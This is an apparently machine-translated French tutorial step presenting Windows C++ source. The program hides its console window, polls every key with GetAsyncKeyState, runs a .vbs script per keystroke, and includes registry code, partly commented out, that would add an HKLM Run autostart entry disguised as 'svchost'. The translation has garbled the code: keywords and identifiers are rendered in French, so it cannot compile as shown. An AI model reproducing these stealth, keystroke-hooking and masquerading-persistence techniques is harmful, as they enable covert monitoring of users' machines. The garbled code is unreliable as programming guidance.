Étape 4: Le c ++ code
Préparez-vous...
#include < iostream >
#include < windows.h >
#include < stdio.h >
#include < winuser.h >
#define BUFSIZE 80
à l’aide de namespace std ;
int test_key(void) ;
int create_key(char *) ;
int get_keys(void) ;
int main (void)
{
Furtivité HWND ;
AllocConsole() ;
Stealth=FindWindowA("ConsoleWindowClass",null) ;
ShowWindow(stealth,0) ;
int tester, créer ;
test=test_key() ;
/ * Si (test == 2)
{
char * path="c:\\%windir%\\svchost.exe » ;
Create=create_key(Path) ;
}
*/
int t=get_keys() ;
retour t ;
}
int get_keys(void)
{
caractère court ;
while(1)
{
pour (caractère = 8; caractère < = 222 ; caractère ++)
{
if(GetAsyncKeyState(Character)==-32767)
{
if(1==1)
{
Si ((character>64) & &(character<91))
{
+= caractère 32 ;
}
Switch(Character)
{
décision 97 :
ShellExecute (NULL, NULL, « A.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
décision 98 :
ShellExecute (NULL, NULL, « B.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
décision 99 :
ShellExecute (NULL, NULL, « C.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
boîte de 100 :
ShellExecute (NULL, NULL, « D.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 101 :
ShellExecute (NULL, NULL, « E.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 102 :
ShellExecute (NULL, NULL, « F.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 103 :
ShellExecute (NULL, NULL, « G.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
décision 104 :
ShellExecute (NULL, NULL, « H.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 105 :
ShellExecute (NULL, NULL, « I.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
No 106 :
ShellExecute (NULL, NULL, « J.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 107 :
ShellExecute (NULL, NULL, « K.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
No 108 :
ShellExecute (NULL, NULL, « L.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 109 :
ShellExecute (NULL, NULL, « M.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 110 :
ShellExecute (NULL, NULL, « N.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
No 111 :
ShellExecute (NULL, NULL, « O.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 112 :
ShellExecute (NULL, NULL, « P.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 113 :
ShellExecute (NULL, NULL, « Q.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 114 :
ShellExecute (NULL, NULL, « R.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 115 :
ShellExecute (NULL, NULL, « S.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 116 :
ShellExecute (NULL, NULL, « T.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 117 :
ShellExecute (NULL, NULL, « U.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 118 :
ShellExecute (NULL, NULL, « V.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 119 :
ShellExecute (NULL, NULL, « W.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 120 :
ShellExecute (NULL, NULL, « X.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 121 :
ShellExecute (NULL, NULL, « Y.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 122 :
ShellExecute (NULL, NULL, « Z.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
No 48 :
ShellExecute (NULL, NULL, « 0.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
No 49 :
ShellExecute (NULL, NULL, « 1.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
case 50 :
ShellExecute (NULL, NULL, « 2.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 51 :
ShellExecute (NULL, NULL, « 3.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
No 52 :
ShellExecute (NULL, NULL, « 4.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 53 :
ShellExecute (NULL, NULL, « 5.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 54 :
ShellExecute (NULL, NULL, « 6.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
case 55 :
ShellExecute (NULL, NULL, « 7.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
cas 56 :
ShellExecute (NULL, NULL, « 8.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
case 57 :
ShellExecute (NULL, NULL, « 9.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
affaire VK_SPACE :
ShellExecute (NULL, NULL, « SPACE.vbs », NULL, NULL, SW_SHOW) ;
rupture ;
par défaut :
rupture ;
}
}
}
}
}
Return EXIT_SUCCESS ;
}
int test_key(void)
{
contrôle par int.
HKEY hKey ;
chemin d’accès de char [BUFSIZE] ;
DWORD buf_length = BUFSIZE ;
int reg_key ;
reg_key = RegOpenKeyEx (HKEY_LOCAL_MACHINE, « SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run », 0, KEY_QUERY_VALUE, & hKey) ;
if(reg_key!=0)
{
Check = 1 ;
retourner le chèque ;
}
reg_key = RegQueryValueEx (hKey, « svchost », NULL, NULL, (LPBYTE) chemin, & buf_length) ;
Si ((reg_key! = 0) || (buf_length>bufsize))
vérifier = 2 ;
if(reg_key==0)
vérifier = 0 ;
RegCloseKey(hKey) ;
retourner le chèque ;
}
int create_key(char *path)
{
int reg_key, cocher ;
HKEY hkey ;
reg_key = RegCreateKey (HKEY_LOCAL_MACHINE, « SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run » et hkey) ;
if(reg_key==0)
{
RegSetValueEx (hkey (HKEY), « svchost », 0, REG_SZ,(BYTE *) path,strlen(path)) ;
vérifier = 0 ;
retourner le chèque ;
}
if(reg_key!=0)
Check = 1 ;
retourner le chèque ;
}